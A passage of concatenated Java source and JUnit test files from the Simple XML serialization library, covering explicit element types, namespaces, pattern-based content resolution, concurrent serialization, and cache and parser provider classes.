assertEquals(entry.intValue, 1234);
assertEquals(entry.floatValue, 1234.56f);
assertEquals(entry.longValue, 1234567l);
assertEquals(entry.doubleValue, 1234567.89d);
validate(entry, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ElementWithExplicitTypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementUnion;
public class ElementWithExplicitTypeTest extends ValidationTestCase {
@Root
private static class UnionExample {
@ElementUnion({
@Element(name="s", type=String.class),
@Element(name="i", type=Integer.class),
@Element(name="d", type=Double.class)
})
private Object value;
}
@Root
private static class Example{
@Element(type=String.class)
private final Object string;
@Element(type=Integer.class)
private final Object integer;
@Element(type=Boolean.class)
private final Object bool;
public Example(
@Element(name="string") Object string,
@Element(name="integer") Object integer,
@Element(name="bool") Object bool)
{
this.string = string;
this.integer = integer;
this.bool = bool;
}
}
@Root
private static class A{}
private static class B extends A {}
private static class C extends B {}
@Root
private static class HeirarchyExample{
@Element(type=A.class)
private final Object a;
@Element(type=B.class)
private final Object b;
@Element(type=C.class)
private final Object c;
public HeirarchyExample(
@Element(name="a") Object a,
@Element(name="b") Object b,
@Element(name="c") Object c)
{
this.a = a;
this.b = b;
this.c = c;
}
}
public void testExplicitType() throws Exception{
Persister persister = new Persister();
Example example = new Example("str", 10, true);
persister.write(example, System.out);
validate(persister, example);
}
public void testExplicitUnionType() throws Exception{
Persister persister = new Persister();
UnionExample example = new UnionExample();
example.value = "str";
persister.write(example, System.out);
validate(persister, example);
}
public void testExplicitHierarchyType() throws Exception{
Persister persister = new Persister();
HeirarchyExample example = new HeirarchyExample(new B(), new C(), new C());
persister.write(example, System.out);
validate(persister, example);
}
public void testExplicitIncorrectHierarchyType() throws Exception{
Persister persister = new Persister();
HeirarchyExample example = new HeirarchyExample(new B(), new A(), new A());
persister.write(example, System.out);
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class NamespaceTest extends ValidationTestCase {
@Root
@NamespaceList({
@Namespace(prefix="tax", reference="http://www.domain.com/tax"),
@Namespace(reference="http://www.domain.com/default")
})
@Namespace(prefix="per", reference="http://www.domain.com/person")
private static class Person {
@Element
private Profession job;
@Element
private String name;
@Element
private String value;
@Attribute
private int age;
private Person() {
super();
}
public Person(String name, String value, int age, Profession job) {
this.name = name;
this.value = value;
this.age = age;
this.job = job;
}
public Profession getJob() {
return job;
}
public String getName() {
return name;
}
}
@Root
@Namespace(prefix="jb", reference="http://www.domain.com/job")
private static class Profession {
@Element
private String title;
@Attribute
@Namespace(reference="http://www.domain.com/tax")
private int salary;
@Attribute
private int experience;
@Namespace
@Element
private Employer employer;
private Profession() {
super();
}
public Profession(String title, int salary, int experience, Employer employer) {
this.title = title;
this.salary = salary;
this.experience = experience;
this.employer = employer;
}
public Employer getEmployer() {
return employer;
}
public String getTitle() {
return title;
}
}
@Root
private static class Employer {
@Element
@Namespace(reference="http://www.domain.com/employer")
private String name;
@Element
@Namespace(prefix="count", reference="http://www.domain.com/count")
private int employees;
@Element
private String address;
@Attribute
private boolean international;
private Employer() {
super();
}
public Employer(String name, String address, boolean international, int employees) {
this.name = name;
this.employees = employees;
this.address = address;
this.international = international;
}
public String getAddress() {
return address;
}
public String getName() {
return name;
}
}
public void testNamespace() throws Exception {
Persister persister = new Persister();
Employer employer = new Employer("Spam Soft", "Sesame Street", true, 1000);
Profession job = new Profession("Software Engineer", 10, 12, employer);
Person person = new Person("<NAME>", "Person", 30, job);
persister.write(person, System.out);
validate(persister, person);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/ResolverTest.java<|end_filename|>
package org.simpleframework.xml.util;
import java.util.Iterator;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class ResolverTest extends ValidationTestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list>\n"+
" <match pattern='*.html' value='text/html'/>\n"+
" <match pattern='*.jpg' value='image/jpeg'/>\n"+
" <match pattern='/images/*' value='image/jpeg'/>\n"+
" <match pattern='/log/**' value='text/plain'/>\n"+
" <match pattern='*.exe' value='application/octetstream'/>\n"+
" <match pattern='**.txt' value='text/plain'/>\n"+
" <match pattern='/html/*' value='text/html'/>\n"+
" </list>\n"+
"</test>";
@Root(name="match")
private static class ContentType implements Match {
@Attribute(name="value")
private String value;
@Attribute
private String pattern;
public ContentType() {
super();
}
public ContentType(String pattern, String value) {
this.pattern = pattern;
this.value = value;
}
public String getPattern() {
return pattern;
}
public String toString() {
return String.format("%s=%s", pattern, value);
}
}
@Root(name="test")
private static class ContentResolver implements Iterable<ContentType> {
@ElementList(name="list", type=ContentType.class)
private Resolver<ContentType> list;
@Attribute(name="name")
private String name;
private ContentResolver() {
this.list = new Resolver<ContentType>();
}
public Iterator<ContentType> iterator() {
return list.iterator();
}
public void add(ContentType type) {
list.add(type);
}
public ContentType resolve(String name) {
return list.resolve(name);
}
public int size() {
return list.size();
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testResolver() throws Exception {
ContentResolver resolver = (ContentResolver) serializer.read(ContentResolver.class, LIST);
assertEquals(7, resolver.size());
assertEquals("image/jpeg", resolver.resolve("image.jpg").value);
assertEquals("text/plain", resolver.resolve("README.txt").value);
assertEquals("text/html", resolver.resolve("/index.html").value);
assertEquals("text/html", resolver.resolve("/html/image.jpg").value);
assertEquals("text/plain", resolver.resolve("/images/README.txt").value);
assertEquals("text/plain", resolver.resolve("/log/access.log").value);
validate(resolver, serializer);
}
public void testCache() throws Exception {
ContentResolver resolver = (ContentResolver) serializer.read(ContentResolver.class, LIST);
assertEquals(7, resolver.size());
assertEquals("image/jpeg", resolver.resolve("image.jpg").value);
assertEquals("text/plain", resolver.resolve("README.txt").value);
Iterator<ContentType> it = resolver.iterator();
while(it.hasNext()) {
ContentType type = it.next();
if(type.value.equals("text/plain")) {
it.remove();
break;
}
}
resolver.add(new ContentType("*", "application/octetstream"));
assertEquals("application/octetstream", resolver.resolve("README.txt").value);
assertEquals("application/octetstream", resolver.resolve("README.txt").value);
resolver.add(new ContentType("README.*", "text/html"));
resolver.add(new ContentType("README.txt", "text/plain"));
assertEquals("text/plain", resolver.resolve("README.txt").value);
assertEquals("text/html", resolver.resolve("README.jsp").value);
validate(resolver, serializer);
}
public void testNoResolution() throws Exception {
ContentResolver resolver = (ContentResolver) serializer.read(ContentResolver.class, LIST);
assertEquals(7, resolver.size());
assertEquals("text/plain", resolver.resolve("README.txt").value);
assertEquals(null, resolver.resolve("README"));
}
public void testNonGreedyMatch() throws Exception {
ContentResolver resolver = (ContentResolver) serializer.read(ContentResolver.class, LIST);
assertEquals(7, resolver.size());
resolver.add(new ContentType("/*?/html/*", "text/html"));
assertEquals(8, resolver.size());
assertEquals(null, resolver.resolve("/a/b/html/index.jsp"));
assertEquals("text/html", resolver.resolve("/a/html/index.jsp").value);
}
public void testResolverCache() throws Exception {
ContentResolver resolver = new ContentResolver();
for(int i = 0; i <= 2000; i++) {
resolver.add(new ContentType(String.valueOf(i), String.valueOf(i)));
}
assertEquals(resolver.resolve("1").value, "1");
assertEquals(resolver.resolve("2000").value, "2000");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MultiThreadedPersisterTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.Date;
import java.util.Locale;
import java.util.Queue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import junit.framework.Assert;
import junit.framework.TestCase;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class MultiThreadedPersisterTest extends TestCase {
@Root
@Default
private static class Example {
private String name;
private String value;
private int number;
private Date date;
private Locale locale;
}
private static enum Status {
ERROR,
SUCCESS
}
private static class Worker extends Thread {
private final CountDownLatch latch;
private final Serializer serializer;
private final Queue<Status> queue;
private final Example example;
public Worker(CountDownLatch latch, Serializer serializer, Queue<Status> queue, Example example) {
this.serializer = serializer;
this.example = example;
this.latch = latch;
this.queue = queue;
}
public void run() {
try {
latch.countDown();
latch.await();
for(int i = 0; i < 100; i++) {
StringWriter writer = new StringWriter();
serializer.write(example, writer);
String text = writer.toString();
Example copy = serializer.read(Example.class, text);
Assert.assertEquals(example.name, copy.name);
Assert.assertEquals(example.value, copy.value);
Assert.assertEquals(example.number, copy.number);
Assert.assertEquals(example.date, copy.date);
Assert.assertEquals(example.locale, copy.locale);
System.out.println(text);
}
queue.offer(Status.SUCCESS);
}catch(Exception e) {
e.printStackTrace();
queue.offer(Status.ERROR);
}
}
}
public void testConcurrency() throws Exception {
Persister persister = new Persister();
CountDownLatch latch = new CountDownLatch(20);
BlockingQueue<Status> status = new LinkedBlockingQueue<Status>();
Example example = new Example();
example.name = "<NAME>";
example.value = "Some Value";
example.number = 10;
example.date = new Date();
example.locale = Locale.UK;
for(int i = 0; i < 20; i++) {
Worker worker = new Worker(latch, persister, status, example);
worker.start();
}
for(int i = 0; i < 20; i++) {
assertEquals("Serialization fails when used concurrently", status.take(), Status.SUCCESS);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Base64EncoderTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import junit.framework.TestCase;
public class Base64EncoderTest extends TestCase {
public void testEncodingDataOutput() throws IOException {
Base64OutputStream encoder = new Base64OutputStream();
DataOutputStream stream = new DataOutputStream(encoder);
String text = "Hello World";
stream.writeUTF(text);
stream.close();
String value = encoder.toString();
System.err.println(value);
Base64InputStream decoder = new Base64InputStream(value);
DataInputStream source = new DataInputStream(decoder);
String result = source.readUTF();
System.err.println(result);
assertEquals(result, text);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ScannerCreatorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Path;
@SuppressWarnings("all")
public class ScannerCreatorTest extends TestCase {
private static class Example1{
@Path("path")
@Element(name="a")
private String el;
@Attribute(name="a")
private String attr;
public Example1(
@Element(name="a") String el,
@Attribute(name="a") String attr) {}
}
public void testScanner() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(Example1.class), new Support());
Instantiator creator = scanner.getInstantiator();
List<Creator> list = creator.getCreators();
System.err.println(list.get(0));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConverterDecorationTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.AnnotationStrategy;
import org.simpleframework.xml.convert.Convert;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
import org.simpleframework.xml.stream.Style;
public class ConverterDecorationTest extends ValidationTestCase {
@Default
private static class ConverterDecoration {
private List<ConverterDecorationExample> list;
private List<NormalExample> normal;
public ConverterDecoration(@ElementList(name="list") List<ConverterDecorationExample> list, @ElementList(name="normal") List<NormalExample> normal) {
this.list = list;
this.normal = normal;
}
}
@Root
@Namespace(reference="http://blah/host1")
@Convert(ConverterDecorationConverter.class)
private static class ConverterDecorationExample {
private final String name;
public ConverterDecorationExample(String name){
this.name = name;
}
}
@Default
@Namespace(reference="http://blah/normal")
private static class NormalExample {
private final String name;
public NormalExample(@Element(name="name") String name){
this.name = name;
}
}
private static class ConverterDecorationConverter implements org.simpleframework.xml.convert.Converter<ConverterDecorationExample>{
public ConverterDecorationExample read(InputNode node) throws Exception {
String name = node.getValue();
return new ConverterDecorationExample(name);
}
public void write(OutputNode node, ConverterDecorationExample value) throws Exception {
node.setValue(value.name);
}
}
public void testConverter() throws Exception {
Style style = new CamelCaseStyle();
Format format = new Format(style);
Strategy cycle = new CycleStrategy();
Strategy strategy = new AnnotationStrategy(cycle);
Persister persister = new Persister(strategy, format);
List<ConverterDecorationExample> list = new ArrayList<ConverterDecorationExample>();
List<NormalExample> normal = new ArrayList<NormalExample>();
ConverterDecoration example = new ConverterDecoration(list, normal);
ConverterDecorationExample duplicate = new ConverterDecorationExample("duplicate");
NormalExample normalDuplicate = new NormalExample("duplicate");
list.add(duplicate);
list.add(new ConverterDecorationExample("a"));
list.add(new ConverterDecorationExample("b"));
list.add(new ConverterDecorationExample("c"));
list.add(duplicate);
list.add(new ConverterDecorationExample("d"));
list.add(duplicate);
normal.add(normalDuplicate);
normal.add(new NormalExample("1"));
normal.add(new NormalExample("2"));
normal.add(normalDuplicate);
persister.write(example, System.err);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/PrefixResolverTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringWriter;
import org.simpleframework.xml.ValidationTestCase;
public class PrefixResolverTest extends ValidationTestCase {
public void testPrefixResolver() throws Exception {
StringWriter writer = new StringWriter();
OutputNode node = NodeBuilder.write(writer);
// <root xmlns="ns1">
OutputNode root = node.getChild("root");
root.setReference("ns1");
root.getNamespaces().setReference("ns1", "n");
// <child xmlns="ns2">
OutputNode child = root.getChild("child");
child.setReference("ns2");
child.getNamespaces().setReference("ns2", "n");
// <grandchild xmlns="ns1">
OutputNode grandchild = child.getChild("grandchild");
grandchild.setReference("ns1");
grandchild.getNamespaces().setReference("ns1", "n");
root.commit();
String text = writer.toString();
System.out.println(text);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionEmptyListBugTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
public class UnionEmptyListBugTest extends ValidationTestCase {
@Root
public static class ElementListUnionBug {
@ElementListUnion( {
@ElementList(entry="string", inline=true, type=String.class, required=false),
@ElementList(entry="integer", inline=true, type=Integer.class, required=false)
})
List<Object> values = new ArrayList<Object>();
@ElementList(entry="X", inline=true, required=false)
List<String> list = new ArrayList<String>();
}
@Root
public static class ElementMapUnionBug {
@ElementMapUnion( {
@ElementMap(entry="string", inline=true, keyType=String.class, valueType=String.class, required=false),
@ElementMap(entry="integer", inline=true, keyType=String.class, valueType=Integer.class, required=false)
})
Map<String, Object> values = new HashMap<String, Object>();
@ElementList(entry="X", inline=true, required=false)
List<String> list = new ArrayList<String>();
}
public void testListBug() throws Exception {
Serializer serializer = new Persister();
ElementListUnionBug element = new ElementListUnionBug();
StringWriter writer = new StringWriter();
serializer.write(element, writer);
String text = writer.toString();
assertElementExists(text, "/elementListUnionBug");
assertElementDoesNotExist(text, "/elementListUnionBug/string");
assertElementDoesNotExist(text, "/elementListUnionBug/integer");
writer = new StringWriter();
element.values.add("A");
element.values.add(111);
serializer.write(element, writer);
text = writer.toString();
System.out.println(text);
assertElementExists(text, "/elementListUnionBug/string");
assertElementHasValue(text, "/elementListUnionBug/string", "A");
assertElementExists(text, "/elementListUnionBug/integer");
assertElementHasValue(text, "/elementListUnionBug/integer", "111");
}
public void testMapBug() throws Exception {
Serializer serializer = new Persister();
ElementMapUnionBug element = new ElementMapUnionBug();
StringWriter writer = new StringWriter();
serializer.write(element, writer);
String text = writer.toString();
assertElementExists(text, "/elementMapUnionBug");
assertElementDoesNotExist(text, "/elementMapUnionBug/string");
assertElementDoesNotExist(text, "/elementMapUnionBug/integer");
writer = new StringWriter();
writer = new StringWriter();
element.values.put("A", "string");
element.values.put("B", 1);
serializer.write(element, writer);
text = writer.toString();
System.out.println(text);
assertElementExists(text, "/elementMapUnionBug/string");
assertElementHasValue(text, "/elementMapUnionBug/string/string[1]", "A");
assertElementHasValue(text, "/elementMapUnionBug/string/string[2]", "string");
assertElementExists(text, "/elementMapUnionBug/integer");
assertElementHasValue(text, "/elementMapUnionBug/integer/string", "B");
assertElementHasValue(text, "/elementMapUnionBug/integer/integer", "1");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/WeakCache.java<|end_filename|>
/*
* WeakCache.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.WeakHashMap;
/**
* The <code>WeakCache</code> object is an implementation of a cache
* that holds on to cached items only if the key remains in memory.
* This is effectively like a concurrent hash map with weak keys, it
* ensures that multiple threads can concurrently access weak hash
* maps in a way that lowers contention for the locks used.
*
* @author <NAME>
*/
public class WeakCache<T> implements Cache<T> {
/**
* This is used to store a list of segments for the cache.
*/
private SegmentList list;
/**
* Constructor for the <code>WeakCache</code> object. This is
* used to create a cache that stores values in such a way that
* when the key is garbage collected the value is removed from
* the map. This is similar to the concurrent hash map.
*/
public WeakCache() {
this(10);
}
/**
* Constructor for the <code>WeakCache</code> object. This is
* used to create a cache that stores values in such a way that
* when the key is garbage collected the value is removed from
* the map. This is similar to the concurrent hash map.
*
* @param size this is the number of segments within the cache
*/
public WeakCache(int size) {
this.list = new SegmentList(size);
}
public boolean isEmpty() {
for(Segment segment : list) {
if(!segment.isEmpty()) {
return false;
}
}
return true;
}
/**
* This method is used to insert a key value mapping in to the
* cache. The value can later be retrieved or removed from the
* cache if desired. If the value associated with the key is
* null then nothing is stored within the cache.
*
* @param key this is the key to cache the provided value to
* @param value this is the value that is to be cached
*/
public void cache(Object key, T value) {
map(key).cache(key, value);
}
/**
* This is used to exclusively take the value mapped to the
* specified key from the cache. Invoking this is effectively
* removing the value from the cache.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T take(Object key) {
return map(key).take(key);
}
/**
* This method is used to get the value from the cache that is
* mapped to the specified key. If there is no value mapped to
* the specified key then this method will return a null.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public T fetch(Object key) {
return map(key).fetch(key);
}
/**
* This is used to determine whether the specified key exists
* with in the cache. Typically this can be done using the
* fetch method, which will acquire the object.
*
* @param key this is the key to check within this segment
*
* @return true if the specified key is within the cache
*/
public boolean contains(Object key) {
return map(key).contains(key);
}
/**
* This method is used to acquire a <code>Segment</code> using
* the keys has code. This method effectively uses the hash to
* find a specific segment within the fixed list of segments.
*
* @param key this is the key used to acquire the segment
*
* @return this returns the segment used to get acquire value
*/
private Segment map(Object key) {
return list.get(key);
}
/**
* This is used to maintain a list of segments. All segments that
* are stored by this object can be acquired using a given key.
* The keys hash is used to select the segment, this ensures that
* all read and write operations with the same key result in the
* same segment object within this list.
*
* @author <NAME>
*/
private class SegmentList implements Iterable<Segment> {
/**
* The list of segment objects maintained by this object.
*/
private List<Segment> list;
/**
* Represents the number of segments this object maintains.
*/
private int size;
/**
* Constructor for the <code>SegmentList</code> object. This
* is used to create a list of weak hash maps that can be
* acquired using the hash code of a given key.
*
* @param size this is the number of hash maps to maintain
*/
public SegmentList(int size) {
this.list = new ArrayList<Segment>();
this.size = size;
this.create(size);
}
public Iterator<Segment> iterator() {
return list.iterator();
}
/**
* This is used to acquire the segment using the given key.
* The keys hash is used to determine the index within the
* list to acquire the segment, which is a synchronized weak
* hash map storing the key value pairs for a given hash.
*
* @param key this is the key used to determine the segment
*
* @return the segment that is stored at the resolved hash
*/
public Segment get(Object key) {
int segment = segment(key);
if(segment < size) {
return list.get(segment);
}
return null;
}
/**
* Upon initialization the segment list is populated in such
* a way that synchronization is not needed. Each segment is
* created and stored in an increasing index within the list.
*
* @param size this is the number of segments to be used
*/
private void create(int size) {
int count = size;
while(count-- > 0) {
list.add(new Segment());
}
}
/**
* This method performs the translation of the key hash code
* to the segment index within the list. Translation is done
* by acquiring the modulus of the hash and the list size.
*
* @param key this is the key used to resolve the index
*
* @return the index of the segment within the list
*/
private int segment(Object key) {
return Math.abs(key.hashCode() % size);
}
}
/**
* The segment is effectively a synchronized weak hash map. If is
* used to store the key value pairs in such a way that they are
* kept only as long as the garbage collector does not collect
* the key. This ensures the cache does not cause memory issues.
*
* @author <NAME>
*/
private class Segment extends WeakHashMap<Object, T> {
/**
* This method is used to insert a key value mapping in to the
* cache. The value can later be retrieved or removed from the
* cache if desired. If the value associated with the key is
* null then nothing is stored within the cache.
*
* @param key this is the key to cache the provided value to
* @param value this is the value that is to be cached
*/
public synchronized void cache(Object key, T value) {
put(key, value);
}
/**
* This method is used to get the value from the cache that is
* mapped to the specified key. If there is no value mapped to
* the specified key then this method will return a null.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public synchronized T fetch(Object key) {
return get(key);
}
/**
* This is used to exclusively take the value mapped to the
* specified key from the cache. Invoking this is effectively
* removing the value from the cache.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
public synchronized T take(Object key) {
return remove(key);
}
/**
* This is used to determine whether the specified key exists
* with in the cache. Typically this can be done using the
* fetch method, which will acquire the object.
*
* @param key this is the key to check within this segment
*
* @return true if the specified key is within the cache
*/
public synchronized boolean contains(Object key) {
return containsKey(key);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ClassScannerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
public class ClassScannerTest extends TestCase {
@Root
@Order(elements={"a", "b"}, attributes={"A", "B"})
@Namespace(prefix="prefix", reference="http://domain/reference")
private static class Example {
@Commit
public void commit() {
return;
}
@Validate
public void validate() {
return;
}
}
public void testClassScanner() throws Exception {
Support support = new Support();
Detail detail = new DetailScanner(Example.class);
ClassScanner scanner = new ClassScanner(detail, support);
assertNotNull(scanner.getRoot());
assertNotNull(scanner.getOrder());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/reflect/Reflection.java<|end_filename|>
package org.simpleframework.xml.reflect;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class Reflection {
public static String[] lookupParameterNames(AccessibleObject methodOrConstructor) {
return lookupParameterNames(methodOrConstructor, true);
}
public static String[] lookupParameterNames(AccessibleObject methodOrCtor,
boolean throwExceptionIfMissing) {
Class<?>[] types = null;
Class<?> declaringClass = null;
String name = null;
if (methodOrCtor instanceof Method) {
Method method = (Method) methodOrCtor;
types = method.getParameterTypes();
name = method.getName();
declaringClass = method.getDeclaringClass();
} else {
Constructor<?> constructor = (Constructor<?>) methodOrCtor;
types = constructor.getParameterTypes();
declaringClass = constructor.getDeclaringClass();
name = "<init>";
}
if (types.length == 0) {
return TypeCollector.EMPTY_NAMES;
}
InputStream content = getClassAsStream(declaringClass);
if (content == null) {
if (throwExceptionIfMissing) {
throw new RuntimeException("Unable to get class bytes");
} else {
return TypeCollector.EMPTY_NAMES;
}
}
try {
ClassReader reader = new ClassReader(content);
TypeCollector visitor = new TypeCollector(name, types,
throwExceptionIfMissing);
reader.accept(visitor);
return visitor.getParameterNamesForMethod();
} catch (IOException e) {
if (throwExceptionIfMissing) {
throw new RuntimeException(
"IoException while reading class bytes", e);
} else {
return TypeCollector.EMPTY_NAMES;
}
}
}
private static InputStream getClassAsStream(Class<?> clazz) {
ClassLoader classLoader = clazz.getClassLoader();
if (classLoader == null) {
classLoader = ClassLoader.getSystemClassLoader();
}
return getClassAsStream(classLoader, clazz.getName());
}
private static InputStream getClassAsStream(ClassLoader classLoader,
String className) {
String name = className.replace('.', '/') + ".class";
// better pre-cache all methods otherwise this content will be loaded
// multiple times
InputStream asStream = classLoader.getResourceAsStream(name);
if (asStream == null) {
asStream = Reflection.class.getResourceAsStream(name);
}
return asStream;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/PullProvider.java<|end_filename|>
/*
* PullProvider.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.io.InputStream;
import java.io.Reader;
import org.xmlpull.v1.XmlPullParser;
import org.xmlpull.v1.XmlPullParserFactory;
/**
* The <code>PullProvider</code> class is used to provide an event
* reader that uses the XML pull API available on Google Android. It
* provides the best performance on Android as it avoids having to
* build a full DOM model. The <code>EventReader</code> produced by
* this provider will have full namespace capabilities and also has
* line numbers available for each of the events that are extracted.
*
* @author <NAME>
*/
class PullProvider implements Provider {
/**
* This is used to create a new XML pull parser for the reader.
*/
private final XmlPullParserFactory factory;
/**
* Constructor for the <code>PullProvider</code> object. This
* will instantiate a namespace aware pull parser factory that
* will be used to parse the XML documents that are read by
* the framework. If XML pull is not available this will fail.
*/
public PullProvider() throws Exception {
this.factory = XmlPullParserFactory.newInstance();
this.factory.setNamespaceAware(true);
}
/**
* This provides an <code>EventReader</code> that will read from
* the specified input stream. When reading from an input stream
* the character encoding should be taken from the XML prolog or
* it should default to the UTF-8 character encoding.
*
* @param source this is the stream to read the document with
*
* @return this is used to return the event reader implementation
*/
public EventReader provide(InputStream source) throws Exception {
XmlPullParser parser = factory.newPullParser();
if(source != null) {
parser.setInput(source, null);
}
return new PullReader(parser);
}
/**
* This provides an <code>EventReader</code> that will read from
* the specified reader. When reading from a reader the character
* encoding should be the same as the source XML document.
*
* @param source this is the reader to read the document with
*
* @return this is used to return the event reader implementation
*/
public EventReader provide(Reader source) throws Exception {
XmlPullParser parser = factory.newPullParser();
if(source != null) {
parser.setInput(source);
}
return new PullReader(parser);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/MethodContact.java<|end_filename|>
/*
* MethodContact.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Method;
/**
* The <code>MethodContact</code> object is acts as a contact that
* can set and get data to and from an object using methods. This
* requires a get method and a set method that share the same class
* type for the return and parameter respectively.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.MethodScanner
*/
class MethodContact implements Contact {
/**
* This is the label that marks both the set and get methods.
*/
private Annotation label;
/**
* This is the set method which is used to set the value.
*/
private MethodPart set;
/**
* This is the get method which is used to get the value.
*/
private MethodPart get;
/**
* This is the dependent types as taken from the get method.
*/
private Class[] items;
/**
* This represents the declaring class for this method.
*/
private Class owner;
/**
* This is the dependent type as taken from the get method.
*/
private Class item;
/**
* This is the type associated with this point of contact.
*/
private Class type;
/**
* This represents the name of the method for this contact.
*/
private String name;
/**
* Constructor for the <code>MethodContact</code> object. This is
* used to compose a point of contact that makes use of a get and
* set method on a class. The specified methods will be invoked
* during the serialization process to get and set values.
*
* @param get this forms the get method for the object
*/
public MethodContact(MethodPart get) {
this(get, null);
}
/**
* Constructor for the <code>MethodContact</code> object. This is
* used to compose a point of contact that makes use of a get and
* set method on a class. The specified methods will be invoked
* during the serialization process to get and set values.
*
* @param get this forms the get method for the object
* @param set this forms the get method for the object
*/
public MethodContact(MethodPart get, MethodPart set) {
this.owner = get.getDeclaringClass();
this.label = get.getAnnotation();
this.items = get.getDependents();
this.item = get.getDependent();
this.type = get.getType();
this.name = get.getName();
this.set = set;
this.get = get;
}
/**
* This is used to determine if the annotated contact is for a
* read only variable. A read only variable is a field that
* can be set from within the constructor such as a blank final
* variable. It can also be a method with no set counterpart.
*
* @return this returns true if the contact is a constant one
*/
public boolean isReadOnly() {
return set == null;
}
/**
* This returns the get part of the method. Acquiring separate
* parts of the method ensures that method parts can be inherited
* easily between types as overriding either part of a property.
*
* @return this returns the get part of the method contact
*/
public MethodPart getRead() {
return get;
